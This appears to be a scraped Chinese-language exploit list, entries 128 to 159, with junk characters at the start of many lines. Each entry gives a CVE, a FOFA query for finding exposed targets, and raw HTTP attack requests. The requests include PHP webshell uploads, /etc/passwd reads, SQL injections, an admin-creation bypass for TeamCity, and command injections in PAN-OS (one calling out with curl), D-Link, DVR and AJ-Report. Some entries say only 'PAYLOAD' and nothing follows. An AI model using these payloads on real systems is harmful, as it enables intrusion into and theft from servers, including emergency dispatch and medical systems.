& z- `9 I6 A  B: ]& F6 b/ a3 i128. Adobe ColdFusion 反序列化
" ~  U9 x$ \" JCVE-2023-38203
- K& Q% D! g3 |& @- sAdobe ColdFusion版本2018u17（以及早期版本）、2021u7（以及早期版本）和2023u1（以及早期版本）
FOFA：app="Adobe-ColdFusion"
PAYLOAD
: d4 \- D0 j, @: W7 O
: ~8 \3 w5 T3 _0 z/ J& z6 c129. Adobe ColdFusion 任意文件读取
& j4 E7 a$ l. F( r, Y* mCVE-2024-20767
FOFA：app="Adobe-ColdFusion" && title=="Error Occurred While Processing Request"
第一步，获取uuid
GET /CFIDE/adminapi/_servermanager/servermanager.cfc?method=getHeartBeat HTTP/1.1
3 I+ I  _0 R' j' C5 h2 A/ j6 iHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
' ^, j* E$ `7 ^% RAccept: */*
8 e. Z3 Y) N* P$ h- EAccept-Encoding: gzip, deflate
- Z5 [8 u4 y; V  F5 D2 F  B5 z: AConnection: close


第二步，读取/etc/passwd文件
GET /pms?module=logging&file_name=../../../../../../../etc/passwd&number_of_lines=100 HTTP/1.1
( T  a3 s) M' Z0 ~Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
7 L, w! L  E0 o# M& d8 HAccept: */*
# i& b0 c* c% {Accept-Encoding: gzip, deflate
Connection: close
uuid: 85f60018-a654-4410-a783-f81cbd5000b9

* m4 w) l* z2 K* k( K0 L
% H; N$ A# _' v" E: S9 @' q' d& P! g130. Laykefu客服系统任意文件上传
FOFA：icon_hash="-334624619"
* j" Y7 f2 d# N9 E" V: `5 {POST /admin/users/upavatar.html HTTP/1.1
Host: 127.0.0.1
- b6 h8 l( r% m# ~Accept: application/json, text/javascript, */*; q=0.01
+ w, Q" b0 t* \" O, W: J9 PX-Requested-With: XMLHttpRequest
' x$ s4 L* t7 [9 y  }User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 Edg/107.0.1418.26
/ o  }* y% \+ H" C' HContent-Type: multipart/form-data; boundary=----WebKitFormBoundary3OCVBiwBVsNuB2kR
Accept-Encoding: gzip, deflate
( P' X) W& @9 o7 |3 t( NAccept-Language: zh-CN,zh;q=0.9
Cookie: user_name=1; user_id=3
# ?  X# V, h+ r. R% ?, }3 [/ OConnection: close

------WebKitFormBoundary3OCVBiwBVsNuB2kR
Content-Disposition: form-data; name="file"; filename="1.php"
Content-Type: image/png

<?php phpinfo();@eval($_POST['sec']);?>
, e/ Z7 C0 S, y) t5 H+ `$ N1 k9 l# S------WebKitFormBoundary3OCVBiwBVsNuB2kR--

6 s$ \0 l% R' ~6 n: P+ r' r
131. Mini-Tmall <=20231017 SQL注入
FOFA：icon_hash="-2087517259"
后台地址：http://localhost:8080/tmall/admin
http://localhost:8080/tmall/admin/user/1/1?orderBy=7,if((length(database())=11),SLEEP(3),0)
% C' p2 p" p! M0 c; i9 }) r0 {
132. JetBrains TeamCity 2023.11.3 及以下版本存在身份验证绕过
CVE-2024-27198
9 b9 U) a8 {* e3 ]+ lFOFA：body="Log in to TeamCity"
3 T8 ~9 R& b2 h' F% fPOST /pwned?jsp=/app/rest/users;.jsp HTTP/1.1
Host: 192.168.40.130:8111
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: */*
Content-Type: application/json
" u; C0 t/ L# T$ X/ aAccept-Encoding: gzip, deflate
; m/ U1 W4 ~  I/ X
- s; S; u' i- I8 }# {{"username": "用户名", "password": "密码", "email": "test@mydomain.com", "roles": {"role": [{"roleId": "SYSTEM_ADMIN", "scope": "g"}]}}

; D+ H$ Q2 f  e2 S% }# D" T
0 s! |0 v' g8 r6 t3 L) TCVE-2024-27199
' F- U1 W/ O5 H) }4 Z/res/../admin/diagnostic.jsp
/.well-known/acme-challenge/../../admin/diagnostic.jsp
/update/../admin/diagnostic.jsp
& o! Y* p0 m: I/ p2 o

5 q# j0 K% S4 x: aCVE-2024-27198-RCE.py

5 _) _+ j% t) r  D133. H5 云商城 file.php 文件上传
' t/ X% l! s' Q" r: Y. CFOFA：body="/public/qbsp.php"
POST /admin/commodtiy/file.php?upload=1 HTTP/1.1
Host: your-ip
4 @# ]% o: k# @0 H" d/ RUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryFQqYtrIWb8iBxUCx

------WebKitFormBoundaryFQqYtrIWb8iBxUCx
Content-Disposition: form-data; name="file"; filename="rce.php"
& F- ^2 e2 O9 z% a3 O2 ]& ]) g  \Content-Type: application/octet-stream
' U. [3 `2 r* L
<?php system("cat /etc/passwd");unlink(__FILE__);?>
------WebKitFormBoundaryFQqYtrIWb8iBxUCx--
% i, x" s4 ^6 K3 ]& R, {: C  k
- ]2 n( l; M1 C
  G8 C* w: c' e' d
134. 网康NS-ASG应用安全网关index.php sql注入
" J$ T1 e/ S* c6 ]* L# A# \CVE-2024-2330
Netentsec NS-ASG Application Security Gateway 6.3版本
  Y' P& R; j# ]2 ~0 VFOFA：app="网康科技-NS-ASG安全网关"
# b  E# ?/ B2 k! E! ?; u4 c  BPOST /protocol/index.php HTTP/1.1
Host: x.x.x.x
Cookie: PHPSESSID=bfd2e9f9df564de5860117a93ecd82de
3 v& v) H" ?" J. VUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/110.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
; }2 w' p9 R" ~4 pAccept-Encoding: gzip, deflate
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
/ m' s* o# E5 \Sec-Fetch-Site: same-origin
% Z/ d6 l) E8 O' RTe: trailers
; q: l  Y2 o9 f1 ]& WConnection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 263
6 w: p; e* q/ U; w" y
jsoncontent={"protocolType":"addmacbind","messagecontent":["{\"BandIPMacId\":\"1\",\"IPAddr\":\"eth0'and(updatexml(1,concat(0x7e,(select+version())),1))='\",\"MacAddr\":\"\",\"DestIP\":\"\",\"DestMask\":\"255.255.255.0\",\"Description\":\"Sample+Description\"}"]}
# }7 W; n: Y; U/ R/ O
5 f7 ?: ~8 \: S1 R+ _* V
135. 网康NS-ASG应用安全网关list_ipAddressPolicy.php sql注入
  _  p7 n6 U" k; \) `5 ECVE-2024-2022
; y7 z/ r& y' a5 o" xNetentsec NS-ASG Application Security Gateway 6.3版本
9 D: @1 _9 f' N3 P* }4 I$ OFOFA：app="网康科技-NS-ASG安全网关"
GET /admin/list_ipAddressPolicy.php?GroupId=-1+UNION+ALL+SELECT+EXTRACTVALUE(1,concat(0x7e,(select+md5(102103122)),0x7e)) HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
& d# |5 o. \* h- p2 _Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
2 t; b$ f% k3 ^  I! CAccept-Encoding: gzip, deflate
+ R4 K0 l, I) W9 T6 J. \! [% O  GAccept-Language: zh-CN,zh;q=0.9
Connection: close
  ~! p- S+ t: {! Y/ M

136. NextChat cors SSRF
* j8 h) |) x( W& UCVE-2023-49785
FOFA：title="NextChat"
) Y( ?/ p, d1 Z2 X- wGET /api/cors/http:%2f%2fnextchat.kr9dqoau.dnslog.pw%23 HTTP/1.1
" o- l% h0 q, THost: x.x.x.x:10000
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
, p: ^; Z: P- r" ?4 TConnection: close
Accept: */*
, I. F- z7 A" G0 ]- t* w7 r0 XAccept-Language: en
0 x) u: ?4 L. d- [* ]! NAccept-Encoding: gzip
4 l1 W: A, e$ ^( v$ T5 y
* N5 x. F6 j- o0 C
9 v9 b5 v7 R7 r8 C! }: e137. 福建科立迅通信指挥调度平台down_file.php sql注入
2 p; s( q' J0 E3 F0 {CVE-2024-2620
( o2 x! ?! S- b# ~) oFOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
- h: @- R2 @, FGET /api/client/down_file.php?uuid=1%27%20AND%20(SELECT%205587%20FROM%20(SELECT(SLEEP(5)))pwaA)%20AND%20%27dDhF%27=%27dDhF HTTP/1.1
Host: x.x.x.x
  m+ ~7 ~) t% tUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
: |; f9 p- j2 j% _Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
9 W- O  f' `7 y0 S  HAccept-Encoding: gzip, deflate, br
Connection: close
+ Q! ]  L* O; H. k; _& `5 |0 b# Z* GCookie: PHPSESSID=d62411cd4ada228583bbcae45f099567; authcode=uksj
Upgrade-Insecure-Requests: 1

7 E& [$ c" d3 ~1 [/ ]! ~/ A; s0 R
6 J- a5 n- j* Q& u4 ~138. 福建科立讯通信指挥调度平台pwd_update.php sql注入
CVE-2024-2621
! W/ n2 v8 Y& y+ L9 |$ L+ n5 UFOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
GET /api/client/user/pwd_update.php?usr_number=1%27%20AND%20(SELECT%207872%20FROM%20(SELECT(SLEEP(5)))DHhu)%20AND%20%27pMGM%27=%27pMGM&new_password=1&sign=1 HTTP/1.1
* |. Q$ S  k7 m: V4 n  i9 D2 yHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
. q( w% K" Q( ~/ f4 r( O# S! mAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
: K# |# v2 q9 i. }Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
, @& q) Y1 f( L2 jConnection: close
Upgrade-Insecure-Requests: 1
1 Z" ?2 `6 \: Y. g+ ]) J; q3 `

139. 福建科立讯通信指挥调度平台editemedia.php sql注入
CVE-2024-2622
FOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
GET /api/client/editemedia.php?enterprise_uuid=1%27%20AND%20(SELECT%203257%20FROM%20(SELECT(SLEEP(5)))JPVs)%20AND%20%27gDyM%27=%27gDyM HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
" e' b) K7 j5 J" Q; W! O, EAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: close
Cookie: PHPSESSID=d62411cd4ada228583bbcae45f099567; authcode=cybk
& E5 W+ |% P  s. U! F. HUpgrade-Insecure-Requests: 1


/ D0 I* m# A% o7 \$ P140. 福建科立讯通信指挥调度平台get_extension_yl.php sql注入
* _  E, b/ [, H$ @9 lCVE-2024-2566
FOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
% K2 f( p/ R, s$ i' [+ QGET /api/client/get_extension_yl.php?imei=1%27%20AND%20(SELECT%207545%20FROM%20(SELECT(SLEEP(5)))Zjzw)%20AND%20%27czva%27=%27czva&timestamp=1&sign=1 HTTP/1.1
$ k: w" U4 [) @  ~& SHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
# T& Z! l; s# ]3 j- k) }* M: RConnection: close
& h3 P4 t. [4 m) n' T- lCookie: authcode=h8g9
0 P, L% }" Q, l2 i# Q! S. o8 _/ EUpgrade-Insecure-Requests: 1
& y9 @( q2 S5 C- y: u- H9 g

2 s" o. U6 K* K1 |141. 建科立讯通信指挥调度管理平台 ajax_users.php SQL注入
FOFA：body="指挥调度管理平台"
POST /app/ext/ajax_users.php HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0 info
, c( p, N) r) h/ e. [& y6 P, {( xContent-Type: application/x-www-form-urlencoded


dep_level=1') UNION ALL SELECT NULL,CONCAT(0x7e,md5(1),0x7e),NULL,NULL,NULL-- -

8 D' J9 D# ?, y. A8 ~2 |4 [# Z
142. CMSV6车辆监控平台系统中存在弱密码
CVE-2024-29666
FOFA：body="/808gps/"
3 @' r& U9 F  ~( _/ wadmin/admin
143. Netis WF2780 v2.1.40144 远程命令执行
CVE-2024-25850
# K8 `# |( Y! ]9 `# v0 f. sFOFA：title='AP setup' && header='netis'
PAYLOAD
$ k9 X* {# x) j$ ?* O' `  T
4 S' M4 f1 G( Y- B9 z3 r144. D-Link nas_sharing.cgi 命令注入
FOFA：app="D_Link-DNS-ShareCenter"
( y; h$ T1 S7 U5 L# hsystem参数用于传要执行的命令
' o4 K6 [5 w$ EGET /cgi-bin/nas_sharing.cgi?user=mydlinkBRionyg&passwd=YWJjMTIzNDVjYmE&cmd=15&system=aWQ= HTTP/1.1
- Q  H* l( E) V+ F# J' U* EHost: x.x.x.x
& R1 |9 `5 i9 h4 `User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0
. y7 a8 ^) J/ c- LConnection: close
Accept: */*
- i% _* }$ f' K( R: V: hAccept-Language: en
Accept-Encoding: gzip
4 |, S; W6 x: C6 q9 ^( I! q" p9 L

145. Palo Alto Networks PAN-OS GlobalProtect 命令注入
( u5 O3 x' v0 v  v4 r( yCVE-2024-3400
FOFA：icon_hash="-631559155"
8 P4 g; W! b. ]7 g+ A' RGET /global-protect/login.esp HTTP/1.1
- p) F. m7 h$ I' p8 S2 Z" H8 x& RHost: 192.168.30.112:1005
& d" o5 t4 c2 ]/ n% ]- G* N: p; b& {User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36 Edg/92.0.902.84
Connection: close
) g2 E% h% b  u/ L9 I. ?+ GCookie: SESSID=/../../../opt/panlogs/tmp/device_telemetry/minute/hellothere226`curl${IFS}dnslog地址`;
Accept-Encoding: gzip
8 C, F8 O% @6 `  z& A) }0 V

146. MajorDoMo thumb.php 未授权远程代码执行
CNVD-2024-02175
1 `' ?7 k; R2 K- t) JFOFA：app="MajordomoSL"
5 G; q. }+ g" m& P$ xGET /modules/thumb/thumb.php?url=cnRzcDovL2EK&debug=1&transport=%7C%7C+%28echo+%27%5BS%5D%27%3B+id%3B+echo+%27%5BE%5D%27%29%23%3B HTTP/1.1
* V0 _( P* W. ]/ L. N% OHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36 Edg/92.0.902.84
7 \# K) N# P- R; h; m( LAccept-Charset: utf-8
Accept-Encoding: gzip, deflate
Connection: close
/ S6 @* ~5 A% `* Z

) }4 Q' k( X0 G# r1 G5 e4 J* O$ U' z147. RaidenMAILD邮件服务器v.4.9.4-路径遍历
CVE-2024-32399
4 f1 l1 h' h% o2 g% Q2 {FOFA：body="RaidenMAILD"
( ~2 l- a0 k0 ~' {) T, mGET /webeditor/../../../windows/win.ini HTTP/1.1
8 X& w# U! C$ ^" L( B$ \Host: 127.0.0.1:81
Cache-Control: max-age=0
Connection: close

/ C0 d( j5 I6 E( {
9 ^* Q" `8 `/ x; N7 P148. CrushFTP 认证绕过模板注入
, N. `6 i, t6 Z" q- SCVE-2024-4040
FOFA：body="CrushFTP"
6 u4 Y( l) m5 l$ }% A( |/ hPAYLOAD

9 @! [8 K8 K8 ~4 e$ ]149. AJ-Report开源数据大屏存在远程命令执行
5 _. n6 V* _1 O+ f$ f$ W8 m; NFOFA：title="AJ-Report"
  l% s2 q9 v( ^2 |) f/ t) b
* x* a7 a1 d8 L! V+ g1 GPOST /dataSetParam/verification;swagger-ui/ HTTP/1.1
4 o) T7 x* Y$ E) S- U5 xHost: x.x.x.x
8 J! r5 e" W6 ^# `/ n  X) k5 K6 T8 bUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
& J$ F( Q6 B- n' f# O1 B  f/ Q0 U2 x  TContent-Type: application/json;charset=UTF-8
Connection: close

: }4 O$ U3 a8 C$ Y% |{"ParamName":"","paramDesc":"","paramType":"","sampleItem":"1","mandatory":true,"requiredFlag":1,"validationRules":"function verification(data){a = new java.lang.ProcessBuilder(\"ipconfig\").start().getInputStream();r=new java.io.BufferedReader(new java.io.InputStreamReader(a));ss='';while((line = r.readLine()) != null){ss+=line};return ss;}"}
3 x( \# ?! z# q" ?+ a
150. AJ-Report 1.4.0 认证绕过与远程代码执行
FOFA：title="AJ-Report"
/ F) E" k: J; _% HPOST /dataSetParam/verification;swagger-ui/ HTTP/1.1
+ d$ f8 G. E' b. o% D+ t4 o7 P- hHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
/ M; t% H5 a& S' m) T/ ?" [Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Content-Type: application/json;charset=UTF-8
. k' a3 Y' p& h5 bConnection: close
7 v" x+ d) k1 n- [+ Y& kContent-Length: 339

{"ParamName":"","paramDesc":"","paramType":"","sampleItem":"1","mandatory":true,"requiredFlag":1,"validationRules":"function verification(data){a = new java.lang.ProcessBuilder(\"id\").start().getInputStream();r=new java.io.BufferedReader(new java.io.InputStreamReader(a));ss='';while((line = r.readLine()) != null){ss+=line};return ss;}"}
" B5 O6 x- ~0 M- z' O  f- N% e

9 [0 i6 d0 i: P2 _7 G151. AJ-Report 1.4.1 pageList sql注入
FOFA：title="AJ-Report"
. U- G  @! V$ Y& kGET /;swagger-ui/dataSource/pageList?showMoreSearch=false&pageNumber=1&pageSize=10 HTTP/1.1
) y/ C$ `7 b, n8 V2 zHost: x.x.x.x
5 W' B. t2 E1 WUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
- P$ I6 t: |2 T- b0 r6 K& Q8 L! tAccept-Encoding: gzip


8 s. l7 o1 @+ k152. Progress Kemp LoadMaster 远程命令执行
CVE-2024-1212
1 s3 `- J; U" ]1 a0 sLoadMaster <= 7.2.59.2 (GA)
LoadMaster<=7.2.54.8 (LTSF)
LoadMaster <= 7.2.48.10 (LTS)
: f+ M( n! h9 p( YFOFA：body="LoadMaster"
JztsczsnOmRvZXNub3RtYXR0ZXI=是';ls;':doesnotmatter的base64编码
7 k! m# S+ e- ^" g( m) pGET /access/set?param=enableapi&value=1 HTTP/1.1
Host: x.x.x.x
, s9 P( @) W- Y' gUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_0) AppleWebKit/604.1 (KHTML, like Gecko) Version/9.1.2 Safari/604.1
: S  P4 J! o# E, w7 W* u/ pConnection: close
; @/ D- r; c' \* }: MAccept: */*
Accept-Language: en
" D/ T- M. c5 h. N$ H6 R2 eAuthorization: Basic JztsczsnOmRvZXNub3RtYXR0ZXI=
Accept-Encoding: gzip
) D  k2 o# d: a$ n0 N

( i  N6 ?) v" y1 Q- w# r$ u$ q" e" f153. gradio任意文件读取
CVE-2024-1561FOFA：body="__gradio_mode__"
第一步，请求/config文件获取componets的id
2 E# e' z6 w5 {. ghttp://x.x.x.x/config
1 E4 y% B6 s3 ~) [0 g4 c. P* I6 y+ @/ }

' q; G- a: E% `; s' v9 Y5 x) @; w第二步，将/etc/passwd的内容写入到一个临时文件
6 |* G0 U+ w4 Q/ c4 d  \8 ePOST /component_server HTTP/1.1
Host: x.x.x.x
0 z) S* S' [- N# X7 D9 zUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.3 Safari/605.1.1514.1.3 Ddg/14.1.3
Connection: close
9 }5 o  {. w6 ~: \" |2 eContent-Length: 115
$ y( X. \5 |3 T, w7 w( K# ]4 TContent-Type: application/json
+ h, v$ |) f. Y# i9 P" bAccept-Encoding: gzip

{"component_id": "1","data": "/etc/passwd","fn_name": "move_resource_to_block_cache","session_hash": "aaaaaaaaaaa"}


第三步访问
http://x.x.x.x/file=/tmp/gradio/ ... 8cdf49755073/passwd


6 m% N: l6 q" q& W. Y3 P154. 天维尔消防救援作战调度平台 SQL注入
5 y8 J  a% P* f- [CVE-2024-3720FOFA：body="天维尔信息科技股份有限公司" && title=="登入"
$ n$ t4 }% C1 @  K7 bPOST /twms-service-mfs/mfsNotice/page HTTP/1.1
Host: x.x.x.x
( D4 U" t1 _# h7 AContent-Length: 106
Cache-Control: max-age=0
+ q8 s3 P5 `' M& a7 SUpgrade-Insecure-Requests: 1
- f) q2 Z) t* O; h8 N- p7 _2 u$ o7 w9 HOrigin: http://x.x.x.x
Content-Type: application/json
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36
/ u  M2 C" o: S6 S" N3 x2 zAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://x.x.x.x/twms-service-mfs/mfsNotice/page
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
) F0 B# D' k7 u; C8 T2 I4 LConnection: close
! @4 ?  k. Y- d
{"currentPage":1,"pageSize":19,"query":{"gsdwid":"1f95b3ec41464ee8b8f223cc41847930') AND 7120=(SELECT 7120 FROM PG_SLEEP(5)) AND ('dZAi'='dZAi"},"hgubmt748n4":"="}
. d. P- ^! J1 B6 S' R
  Z2 Z+ S/ I* L* q5 T' ?
6 B. e; M3 O4 n155. 六零导航页 file.php 任意文件上传
CVE-2024-34982
FOFA：title=="上网导航 - LyLme Spage"
POST /include/file.php HTTP/1.1
8 {& K+ z  C: q% s( THost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
Connection: close
Content-Length: 232
; f0 z  F  c- F2 FAccept: application/json, text/javascript, */*; q=0.01
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: multipart/form-data; boundary=---------------------------qttl7vemrsold314zg0f
X-Requested-With: XMLHttpRequest

9 {% E5 i: B) l' D% I/ o-----------------------------qttl7vemrsold314zg0f
Content-Disposition: form-data; name="file"; filename="test.php"
2 R0 p& k+ J& k9 |0 Z% |/ r# jContent-Type: image/png
) E6 r# D$ x( R0 [5 V6 h# Y
<?php phpinfo();unlink(__FILE__);?>
-----------------------------qttl7vemrsold314zg0f--

0 R% C# P2 K9 [$ U- _' ]' M
访问回显文件http://x.x.x.x/files/upload/img_664ab7fd14d2c.php

156. TBK DVR-4104/DVR-4216 操作系统命令注入
CVE-2024-3721
; p+ K, W6 s/ O% y7 R7 h. xFOFA："Location: /login.rsp"
·TBK DVR-4104
# W+ f/ J# p9 {& H6 O* O·TBK DVR-4216
curl "http://<dvr_host>:<port>/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=<URL_ENCODED_SHELL_COMMAND>" -H "Cookie: uid=1"

7 o  Y4 Z- {+ m9 K
POST /device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=echo%3B%20echo%20asrgkjh0%20%3E%20%2Fvar%2Fexample.txt%3B%20ls%20-l%20%2Fvar%3B%20echo%20----------------%3B%20cat%20%2Fvar%2Fexample.txt%3B HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh;T2lkQm95X0c= Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
3 I! A/ _: J5 }7 N1 j0 c, p8 vConnection: close
7 }* i# l: @6 R# s' @/ NContent-Length: 0
Cookie: uid=1
+ R) o  E$ N1 X0 P! u% A  x% PAccept-Encoding: gzip

0 e/ S! J/ p$ X) g
157. 美特CRM upload.jsp 任意文件上传
CNVD-2023-06971
FOFA：body="/common/scripts/basic.js"
# K# J% ]' Y# @# W7 F, d  s* sPOST /develop/systparam/softlogo/upload.jsp?key=null&form=null&field=null&filetitle=null&folder=null HTTP/1.1
Host: x.x.x.x
) v- u: J- F/ CUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
# b/ e# A! N3 }Content-Length: 709
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
+ B% Y0 {' @# UAccept-Language: zh-CN,zh;q=0.9
7 G' k0 L. N( G% [Cache-Control: max-age=0
Connection: close
0 E/ V- K& L9 x3 D2 r# uContent-Type: multipart/form-data; boundary=----WebKitFormBoundary1imovELzPsfzp5dN
Upgrade-Insecure-Requests: 1

8 y! _+ z( j4 ~( T% r  }0 ?------WebKitFormBoundary1imovELzPsfzp5dN
9 y* G% R- y! [* `Content-Disposition: form-data; name="file"; filename="kjldycpvjrm.jsp"
1 _9 g( a8 L0 ~" F5 Q3 ^Content-Type: application/octet-stream
# t& E1 }" r2 B& ^* d( m
nyhelxrutzwhrsvsrafb
3 b) S. m" n/ A------WebKitFormBoundary1imovELzPsfzp5dN
Content-Disposition: form-data; name="key"
! f/ o0 K- S* L0 \5 ~* ]# y) M
" u% v1 ]0 }# i1 P' S$ `( A$ j7 bnull
2 |: q2 c/ }" U------WebKitFormBoundary1imovELzPsfzp5dN
Content-Disposition: form-data; name="form"
, M% U5 D" _8 Q# v; M# [
null
% F3 H" M: P( h8 I------WebKitFormBoundary1imovELzPsfzp5dN
" u: n5 R. h' A6 J" B; c/ QContent-Disposition: form-data; name="field"

1 q7 a" ~; X( c1 V9 L& B3 T$ Unull
------WebKitFormBoundary1imovELzPsfzp5dN
4 I! Y8 m: r" u# s( P" i; fContent-Disposition: form-data; name="filetitile"
( ^4 y5 p' D8 w0 E- `$ W  q% {& b
) t+ W8 l+ e$ ?null
------WebKitFormBoundary1imovELzPsfzp5dN
* e% j6 I- \9 Y; J! v, C' V: }" wContent-Disposition: form-data; name="filefolder"
% _7 P' c- j  H2 F% M4 q$ A6 u
! L: [" W0 i7 [7 Wnull
------WebKitFormBoundary1imovELzPsfzp5dN--


http://x.x.x.x/userfile/default/userlogo/kjldycpvjrm.jsp

- |3 D& m+ R+ S$ I158. Mura-CMS-processAsyncObject存在SQL注入
3 d0 t' u7 t0 g- a8 a7 PCVE-2024-32640
FOFA："Generator: Masa CMS"
POST /index.cfm/_api/json/v1/default/?method=processAsyncObject HTTP/1.1
/ [3 B; K  o3 z- g! eHost: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
% X5 i- b% c- K* ^
) p, j, {: r) |2 N  H9 m; wobject=displayregion&contenthistid=x\'&previewid=1
* c1 a. E4 N0 s6 _% k+ k3 P5 y9 g: s
% a9 i2 I+ b3 W8 Z2 O& U
0 j# s& b6 T6 [- P% K6 k2 d159. 英飞达医学影像存档与通信系统 WebJobUpload任意文件上传
, z/ H2 c- g- M, C$ g3 r9 S7 uFOFA："INFINITT" && (icon_hash="1474455751"|| icon_hash="702238928")
6 p; p  y8 q* ]* s' R, f% I4 u. m) e' \POST /webservices/WebJobUpload.asmx HTTP/1.1
' j/ B9 j; K4 Z  q6 YHost: x.x.x.x
